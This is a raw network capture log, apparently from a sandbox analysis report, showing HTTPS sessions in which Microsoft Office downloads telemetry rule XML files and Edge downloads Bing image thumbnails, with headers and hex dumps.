Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 657d02d2-201e-0033-2f57-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032021Z-178bfbc474bwlrhlhC1NYCy3kg00000005d0000000008xkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:21 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:21 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 3cf7f359-901e-005b-4f39-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032021Z-178bfbc474bxkclvhC1NYC69g400000005c0000000005ycs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: ce5ebd39-a01e-0053-183c-3c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032021Z-15b8b599d88s6mj9hC1TEBur3000000003mg00000000fht8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:21 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:21 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032021Z-15b8b599d88phfhnhC1TEBr51n00000003z000000000aseu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 929cab26-201e-000c-4067-3d79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032022Z-174c587ffdf8lw6dhC1TEBkgs800000003ug00000000efbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49735	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:23 UTC	375	OUT	GET /th?id=OADD2.10239402414229_1P4RDVHBQE93FAZFW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-24 03:20:23 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 510198 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F432269E3CF34D648BB144739486E3B6 Ref B: EWR30EDGE0206 Ref C: 2024-11-24T03:20:23Z Date: Sun, 24 Nov 2024 03:20:23 GMT Connection: close
2024-11-24 03:20:23 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 f4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 32 20 31 33 3a 32 36 3a 31 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 Data Ascii: JFIFHHExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:12 13:26:13
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: cc 71 37 d0 65 cf fe 83 5e 25 6a 0d c5 bc 90 23 7c ca b9 6d df e7 af 15 e9 60 a0 94 5c 8f 2b 1d 36 e6 a2 48 9a 94 f7 d6 b0 3f cb 14 92 61 19 95 76 f0 7a 83 ef 45 fc 56 71 7e fc 4e d9 5f f9 66 bf e3 55 34 d9 de e2 e2 54 91 56 3f 35 88 6d df c3 cf f4 a9 2f ed e4 8a f1 23 f2 16 55 6f bc db be 56 f7 ed 5d f1 5a 9e 6c 9f 52 95 e5 ec 30 43 1b cd f3 2c 8c 42 fc a3 6e 3a d6 46 9f 24 b0 eb 90 4b 1f cc 24 8c 95 dc bb 9b 24 e5 78 1d 6b a3 d4 2c ad f5 0d 2d a0 10 49 fb b8 98 fd dd db 4f 6c 1a 83 c1 76 11 ad d3 4b 71 12 b4 b1 2f ca bf 79 79 c0 5f c6 b6 56 b3 39 dd f9 d7 63 3a fe 0b 97 b8 52 db 9a 58 db e6 f9 7e ef d6 b2 fc 49 1d c3 5b c4 b2 6e 62 ad fd da ed b5 0b 29 16 e1 a5 12 6d dc df 32 ee dd d2 b2 3c 43 26 fd 1e 42 91 36 dd d8 8f 72 ed 6c 8e bc 54 4a 3a 1b a9 ab Data Ascii: q7e^%j#\|m`\+6H?avzEVq~N_fU4TV?5m/#UoV]ZlR0C,Bn:F$K$$xk,-IOlvKq/yy_V9c:RX~I[nb)m2<C&B6rlTJ:
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 26 da 31 ed 40 ac 47 b6 85 5a 93 1e d4 63 da 80 b1 1b 2d 26 da 97 1e d4 98 a0 2c 45 b6 91 96 a6 c6 29 31 ed 40 88 59 69 8c b5 3b 2d 46 c2 9a 02 26 5a 6b 2d 4a c2 9b 8f 6a 4c 08 99 6b c8 3f 6a bd 46 38 ad 74 8d 2c b7 dd 91 ae a5 55 6f 9b 00 6c 5f cf 2d 5e 9f e3 3d 72 d3 c3 9e 1f 9f 54 b9 5f 33 cb c0 8a 25 6d ad 34 87 a2 8f f3 c0 af 9d b5 e9 2e fc 4f e2 89 35 7d 56 7f 32 4d df 77 76 d5 53 d4 2a 83 fc 22 bd 0c 05 27 29 fb 47 b2 3c cc 7d 64 a0 e9 ad d9 e7 fe 34 16 d6 11 c6 77 34 72 5c 7d d8 9b ef 28 7e 73 9f a5 73 7a 80 9e d2 66 b4 76 db b7 e6 66 8a 4d df 5c e3 b5 3b e2 4d c3 c5 e2 a9 64 8e 4f 34 2b 91 fb c5 cb 73 c6 08 f6 ac 88 f5 30 fa 5c 76 ef f3 c9 13 1d bb 5b 69 c1 f5 c5 7d 24 1d 95 8f 96 a9 16 e5 74 4c d6 57 37 5f bb b5 55 65 56 25 59 be 56 6e 3d 2b 23 Data Ascii: &1@GZc-&,E)1@Yi;-F&Zk-JjLk?jF8t,Uol_-^=rT_3%m4.O5}V2MwvS*"')G<}d4w4r\}(~sszfvfM\;MdO4+s0\v[i}$tLW7_UeV%YVn=+#
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 3d fe d9 26 68 4e d8 d9 73 c6 79 3e 94 ac d6 e4 5d 33 99 f1 65 dc 77 7a 5b 25 d4 f2 44 19 24 31 2c 8b b5 2e bf ba c0 8e e3 ad 70 cc 6e 2c be d2 25 f9 a2 b9 8f 64 72 ab 7c 8c 33 82 47 e3 5e ab e2 0b 0d 2f 52 8e 39 6e 25 b1 8e 68 f0 16 49 24 f9 63 40 73 b5 47 03 24 7b 57 2d a9 78 56 3b fb 85 92 0b 9f dd f0 f2 44 cb f2 aa 2f 65 c7 4c 9a 77 4d 04 24 93 2a f8 3e ca ca df 68 9e 28 e4 ba 9d b2 be 64 db 16 38 c7 b5 6b 43 07 f6 84 97 51 6d 8d ad 55 4c 6a d1 2e df 24 b7 45 27 1f 33 77 f6 a9 af b4 e8 b4 ed b7 f2 45 24 9e 54 78 89 5b 1b 63 03 d3 8c f3 ef 59 9a 3e a4 2d bc 40 df 2c 8d f6 e8 97 ee c6 7e 67 c9 27 eb c1 eb 42 09 6a ca b7 3a e8 87 4b 9e 28 3c d8 ef 20 61 0c bf 31 db 21 ce dd d8 ed 9a b3 e3 8b 51 17 85 ed a7 8a 59 18 ac 90 ed fe 2e ae 3f c6 a4 d4 34 08 24 Data Ascii: =&hNsy>]3ewz[%D$1,.pn,%dr\|3G^/R9n%hI$c@sG${W-xV;D/eLwM$*>h(d8kCQmULj.$E'3wE$Tx[cY>-@,~g'Bj:K(< a1!QY.?4$
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 24 3c 44 1e e7 45 75 77 a7 fd 86 28 93 50 8d 8c 7c 6d 5c f4 e0 1f ce a9 69 b0 95 f1 02 bf cd fb 86 8f 6a b3 6e dc 33 cf e9 58 d6 33 a3 db c6 e9 b5 4a b6 6b 47 49 96 43 a8 3c e2 2f 30 ac 7f 32 ed fc bf 3a e8 8c b4 67 15 4a 4a e9 9a 7e 32 31 4b 6b 1d b5 84 0c 92 49 39 76 fe f3 13 fa e2 96 e3 4a 78 64 80 48 ad 14 6b fe be 46 5d dc 91 d3 e8 3d 69 da 7d b8 95 9a e6 e1 59 84 18 db 1a ff 00 cb 47 ea 7e 8a 2a 7b 8f 10 9b bb 39 ec 42 b4 10 f4 dd e5 86 5c 77 3c fb 66 a7 50 6d 22 6f 87 ba 5c 0d 75 2c b1 45 e6 24 52 15 f3 24 6e e3 e6 cf 15 a9 7e f7 12 5c 47 6d 68 de 61 6c 1b 96 dc 36 46 99 ef 4c f0 78 16 1a 4b 24 1b 55 59 49 56 97 3f 30 3e a7 e9 cd 4c d1 ce f7 d1 0d 3f cb 92 49 14 c8 cb b4 28 67 c1 55 07 db 9a ce 49 f3 1a c6 49 41 23 3f 5e 57 fb 1d b0 b7 89 71 23 67 Data Ascii: $<DEuw(P\|m\ijn3X3JkGIC</02:gJJ~21KkI9vJxdHkF]=i}YG~*{9B\w<fPm"o\u,E$R$n~\Gmhal6FLxK$UYIV?0>L?I(gUIIA#?^Wq#g
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: a7 bb bc 90 09 19 7e e2 81 c7 27 ae d1 5d 6d e4 51 d8 de 5b 5c 36 ef 29 72 91 45 1a fc aa e7 1c 80 3f 13 4e 6e ec 8a 70 b2 ba 20 d3 fc 3d a6 69 97 92 1f bd e7 c7 86 dd f3 32 91 d9 7f d9 f6 ad 4d 36 d2 38 2e 25 b9 95 96 45 6c ee 8d 97 e6 c6 3b 7a 56 66 a9 26 75 a8 52 49 db ca b9 fd dc 5f 28 6e 9c fe bd 2b 52 d9 ec ac ed e5 89 d6 45 2d c7 fb 4d ed 50 e3 a1 a7 37 72 dd e5 a0 58 e3 92 e1 55 a3 dd 95 6d bb bb 74 03 fb b4 29 02 16 21 57 2d 17 ee d7 f8 b3 ef 54 bc 45 ac 5c 88 60 b0 b1 b6 56 f3 63 3b 5b 76 df 24 0c 7e 78 15 4b 56 d6 9a ca 35 31 aa cb 2a af f0 b7 dd cf 73 f8 53 84 65 62 2a 4d 5c b5 a9 44 97 1a 4f 9e bf bb 2d 1e c6 db f7 97 8c 10 7d eb 8e d6 16 4b 2b 7f 2e e5 96 4b 69 54 06 66 fb cb c5 74 76 af 79 7b a7 b5 ec 77 2d 15 b5 cc ac 60 8d a3 da 58 74 2c Data Ascii: ~']mQ[\6)rE?Nnp =i2M68.%El;zVf&uRI_(n+RE-MP7rXUmt)!W-TE\`Vc;[v$~xKV51sSebM\DO-}K+.KiTftvy{w-`Xt,
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: ad 64 2e 6d 63 69 6d 9a 49 04 12 7f aa 93 ef 46 3b e3 da b5 e3 78 2f 6c 70 55 66 8a 75 f9 95 be 65 60 6a f9 12 31 f6 8d e8 c6 ea 46 08 ec 65 99 e2 69 0c 4a ce df 66 5f 9d 80 ed 8a cc d3 f5 1b 6b 8b 58 ee 6d ef 16 58 e4 5f 97 77 de fa 7e 1e 95 72 c2 c2 ca c6 cd ad ec e2 5b 68 d5 fc cd aa c5 b6 9e bb b9 a4 9a ce de 4b 89 64 68 20 69 3e ff 00 ee d4 6e 90 e3 a9 ff 00 6a 8b 02 9e a4 6b a8 41 1c 8b 1e e5 69 24 fb ab 1b 6e dd f9 73 8a d1 83 cc 95 78 5e 3f bd 54 2c 2d ac a3 93 ed 29 67 1c 72 37 de 6d a3 77 bf 35 b5 6e c0 56 53 b2 3a a9 cb 9b a8 eb 5b 60 bc 9e ad 56 b8 0b 8a af 34 e9 1c 6c ee ca aa bf 79 99 be 55 a7 f9 88 63 f3 47 cc 19 73 f2 fa 57 3b 4d 9d 2a 56 0b cb 88 2d ed 5a 5b 99 56 28 d5 49 66 6f e1 02 bc c7 50 d4 6d af b5 25 b6 8e 36 90 4f 21 3e 66 e0 8b Data Ascii: d.mcimIF;x/lpUfue`j1FeiJf_kXmX_w~r[hKdh i>njkAi$nsx^?T,-)gr7mw5nVS:[`V4lyUcGsW;M*V-Z[V(IfoPm%6O!>f
2024-11-24 03:20:24 UTC	16067	IN	Data Raw: a9 58 c4 37 41 9f 2c 19 23 db f3 29 3d 71 f8 d6 b2 91 84 29 a6 ee 73 ba df da 6c e4 6d 3e de 56 68 e3 da df 2b 7d d2 46 78 ae d7 e1 a6 ad ae 6a 7a 6c f0 6a 0c cb f6 6c 47 1d cb 7d ff 00 5c 60 f5 e3 bd 72 7e 27 36 63 50 8e 2d 3f 73 34 8b 89 19 9b ef 1c f7 fa 56 cf 85 75 2b cb 0b 59 ed 12 06 6b 98 f0 63 89 98 2b 73 f5 ea b9 15 cf 53 de 47 75 3d 15 ce b3 c4 36 31 df 68 f2 db ce cc de 7e 12 45 5f 97 77 3c 75 fc eb 9c 9b 49 8e eb c3 f3 bd bc f2 79 b6 d1 62 25 dd bb cc 78 f8 da 7e b8 fc eb 41 7c 41 67 23 47 a7 df 4f f6 6b c8 f1 e6 ee 5d cb f8 11 d7 e9 50 db 6a 5e 4e ad 2f db 65 8f ec 92 47 e6 47 2a ff 00 cb 32 4f 3d 70 47 dd 1f f7 d5 44 14 91 52 e5 93 29 db df 3d ef 87 6d ae ed 2e 7c b9 9a 31 1c f1 c9 d5 88 eb b8 63 39 15 cf f8 82 d4 c6 ca ee fe 6b 4a d8 da bf Data Ascii: X7A,#)=q)slm>Vh+}FxjzljlG}\`r~'6cP-?s4Vu+Ykc+sSGu=61h~E_w<uIyb%x~A\|Ag#GOk]Pj^N/eGG*2O=pGDR)=m.\|1c9kJ
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 00 d5 de a0 bb 8e 57 9a 39 43 33 08 ff 00 e5 97 1b 5b eb 9a 46 92 0b 2b e8 e5 f2 a3 8c cf c6 ef ba cc 4f f3 35 56 d0 84 f5 26 3b 66 56 8d f7 36 df bd b7 8d b9 a5 91 7e ee 59 97 6e 36 ed 6f 4a 6c d7 76 90 dc 2d be e9 1a 4b 96 23 6e ef bb c6 7f a5 4d 21 43 d3 ad 25 70 d3 b8 fb 3b 93 32 ec 75 da df ef 7c b4 f5 ca ab 6f ac c9 12 76 93 64 0c d1 5c 32 92 8c df 32 71 eb 57 16 59 7e cb 18 7d be 6e d1 e6 7f 12 a9 c7 34 e5 15 7d 02 32 76 d4 97 cc da d8 3d 29 33 b7 8f bd ba ab 35 c4 66 45 8c ca bb 99 72 ab ed eb 4f de bd 0b d3 e5 12 95 cb 51 83 b7 27 fe f9 aa d2 4a 7e d9 e5 fc df 77 2d ba 8d f2 26 d2 9f 32 37 de a9 64 08 eb b4 d4 da c3 6e fb 0d dd 89 17 0d b8 d4 eb 26 17 96 ac c6 93 ca dd 1a af dd e3 fd ea 9e 17 df 6f c3 73 fe d5 54 a0 38 55 e8 3a 69 33 b8 d3 61 7c Data Ascii: W9C3[F+O5V&;fV6~Yn6oJlv-K#nM!C%p;2u\|ovd\22qWY~}n4}2v=)35fErOQ'J~w-&27dn&osT8U:i3a\|
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: b3 48 db be 71 c0 db c0 01 71 52 da 68 d1 49 dc d5 f0 8d 81 1a 1d b2 41 e5 c1 0c 6b 95 55 8f e6 6c 8e 7a f4 cd 49 a9 5a ce cd 1c 6e bb a4 93 85 6d bb 92 11 dc ff 00 f5 ab 52 dd 62 87 f7 68 db 63 db fe ad 57 f5 ac b8 e4 13 6b d2 79 52 ac 8b 1a e6 4f e2 55 39 c0 c7 e1 52 95 dd ca 93 b2 45 c7 d3 e2 95 58 dd b3 5c 8d a0 6d e7 0a 07 4e 3b d6 0e 97 6b 77 06 b5 7d 79 76 bb 4e d0 2d 95 5b e4 58 fe 9f de ae 9a d6 44 6d db 5b 76 ef f8 0d 53 6d 2e c9 ae 9a 73 b9 64 6c 7d e9 09 55 c7 a0 34 bd 47 7e c6 36 a6 c5 ed 56 31 2a b0 93 2e ae bf 75 48 f5 f6 ae 77 5b f1 95 a6 97 0d 8d bd bc bf 6a 93 94 bb 81 7e fa f5 c6 4f 4d de d5 a3 ae 48 f6 2b 25 b3 ac 7e 5a e4 6e fe ef 53 f3 7b 1e 2b 8f d5 2c 46 a5 a7 ae af e5 2c 7a a5 d4 fb fc ad bb 7f 76 38 24 0f e2 e7 bd 55 ac 82 32 52 Data Ascii: HqqRhIAkUlzIZnmRbhcWkyROU9REX\mN;kw}yvN-[XDm[vSm.sdl}U4G~6V1*.uHw[j~OMH+%~ZnS{+,F,zv8$U2R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49734	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:23 UTC	346	OUT	GET /th?id=OADD2.10239402415510_1LQQ8WSBAXW97X0WT&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
